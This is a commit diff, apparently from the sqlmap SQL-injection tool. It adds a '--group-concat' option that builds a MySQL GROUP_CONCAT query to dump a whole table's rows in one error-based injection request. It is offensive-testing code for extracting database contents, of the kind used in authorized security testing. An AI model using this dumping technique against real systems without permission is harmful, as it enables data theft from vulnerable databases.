implementation of MySQL GROUP_CONCAT technique

This commit is contained in:
Miroslav Stampar 2011-02-15 00:28:27 +00:00
parent 808b03fc3e
commit 199f14df46
5 changed files with 33 additions and 1 deletions

View File

@ -1121,6 +1121,7 @@ def __cleanupOptions():
conf.keepAlive = True conf.keepAlive = True
conf.nullConnection = not conf.textOnly conf.nullConnection = not conf.textOnly
conf.threads = 4 if conf.threads < 4 else conf.threads conf.threads = 4 if conf.threads < 4 else conf.threads
conf.groupConcat = True
if conf.tor: if conf.tor:
conf.proxy = DEFAULT_TOR_PROXY conf.proxy = DEFAULT_TOR_PROXY

View File

@ -58,6 +58,10 @@ PAYLOAD_DELIMITER = "\x00"
CHAR_INFERENCE_MARK = "%c" CHAR_INFERENCE_MARK = "%c"
NON_CONTROL_CHAR_REGEX = r'[^\x00-\x1f]' NON_CONTROL_CHAR_REGEX = r'[^\x00-\x1f]'
# dumping characters used in GROUP_CONCAT MySQL technique
CONCAT_ROW_DELIMITER = ','
CONCAT_VALUE_DELIMITER = '|'
# coefficient used for a time-based query delay checking (must be >= 7) # coefficient used for a time-based query delay checking (must be >= 7)
TIME_STDEV_COEFF = 10 TIME_STDEV_COEFF = 10

View File

@ -149,6 +149,9 @@ def cmdLineParser():
help="Max number of concurrent HTTP(s) " help="Max number of concurrent HTTP(s) "
"requests (default 1)") "requests (default 1)")
optimization.add_option("--group-concat", dest="groupConcat", action="store_true",
default=False, help="Use GROUP_CONCAT MySQL technique in dumping phase")
# Injection options # Injection options
injection = OptionGroup(parser, "Injection", "These options can be " injection = OptionGroup(parser, "Injection", "These options can be "
"used to specify which parameters to test " "used to specify which parameters to test "

View File

@ -45,6 +45,8 @@ from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.exception import sqlmapUserQuitException from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setOs from lib.core.session import setOs
from lib.core.settings import CONCAT_ROW_DELIMITER
from lib.core.settings import CONCAT_VALUE_DELIMITER
from lib.core.settings import SQL_STATEMENTS from lib.core.settings import SQL_STATEMENTS
from lib.core.shell import autoCompletion from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
@ -1193,13 +1195,31 @@ class Enumeration:
entriesCount = 0 entriesCount = 0
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
entries = []
if Backend.getIdentifiedDbms() == DBMS.MYSQL and isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) and conf.groupConcat:
randStr, randStr2 = randomStr(), randomStr()
filterFunction = "REPLACE(REPLACE(IFNULL(%s, ' '),'%s','%s'),'%s','%s')"\
% ('%s', CONCAT_VALUE_DELIMITER, randStr, CONCAT_ROW_DELIMITER, randStr2)
concats = ",".join(map(lambda x: "CONCAT(%s, '|')" % (filterFunction % x), colList[:-1]))
concats += ",%s" % (filterFunction % colList[-1])
query = "SELECT GROUP_CONCAT(%s) FROM %s.%s" % (concats, conf.db, conf.tbl)
value = inject.getValue(query, blind=False)
if isinstance(value, basestring):
for line in value.split(CONCAT_ROW_DELIMITER):
row = line.split(CONCAT_VALUE_DELIMITER)
row = filter(lambda x: x.replace(randStr, CONCAT_VALUE_DELIMITER).replace(randStr2, CONCAT_ROW_DELIMITER), row)
entries.append(row)
if Backend.getIdentifiedDbms() == DBMS.ORACLE: if Backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.inband.query % (colString, conf.tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), conf.tbl.upper()))) query = rootQuery.inband.query % (colString, conf.tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), conf.tbl.upper())))
elif Backend.getIdentifiedDbms() == DBMS.SQLITE: elif Backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.inband.query % (colString, conf.tbl) query = rootQuery.inband.query % (colString, conf.tbl)
else: else:
query = rootQuery.inband.query % (colString, conf.db, conf.tbl) query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
entries = inject.getValue(query, blind=False, dump=True)
if not (Backend.getIdentifiedDbms() == DBMS.MYSQL and entries):
entries = inject.getValue(query, blind=False, dump=True)
if entries: if entries:
if isinstance(entries, basestring): if isinstance(entries, basestring):

View File

@ -149,6 +149,10 @@ nullConnection = False
# Default: 1 # Default: 1
threads = 1 threads = 1
# Use GROUP_CONCAT MySQL technique in dumping phase.
# Valid: True or False
groupConcat = False
# These options can be used to specify which parameters to test for, # These options can be used to specify which parameters to test for,
# provide custom injection payloads and optional tampering scripts. # provide custom injection payloads and optional tampering scripts.